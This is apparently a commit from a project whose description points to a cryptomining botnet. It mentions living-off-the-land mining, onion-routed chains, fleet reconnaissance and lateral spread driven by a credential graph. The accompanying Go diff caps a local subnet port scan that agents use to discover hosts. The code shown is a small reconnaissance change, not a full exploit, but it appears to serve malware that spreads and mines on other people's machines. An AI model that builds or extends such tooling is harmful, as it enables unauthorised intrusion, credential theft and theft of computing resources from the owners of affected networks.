Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/natpunch.go

@@ -287,11 +287,19 @@ func xmlEscape(s string) string {
 	return s
 }
 
+// MaxSubnetScanHosts caps per-agent active /24 sweeps. Fleet-wide discovery is
+// incremental (ARP cache + capped port knock), never a full /16 or /64 sweep.
+const MaxSubnetScanHosts = 128
+
 // ScanLocalSubnet returns hosts with common service ports open on the local /24.
+// Each agent scans only its own interface /24; maxHosts is clamped to MaxSubnetScanHosts.
 func ScanLocalSubnet(maxHosts int) string {
 	if maxHosts <= 0 {
 		maxHosts = 64
 	}
+	if maxHosts > MaxSubnetScanHosts {
+		maxHosts = MaxSubnetScanHosts
+	}
 	ips := getLocalIPs()
 	if len(ips) == 0 {
 		return "no local IPv4 interfaces found"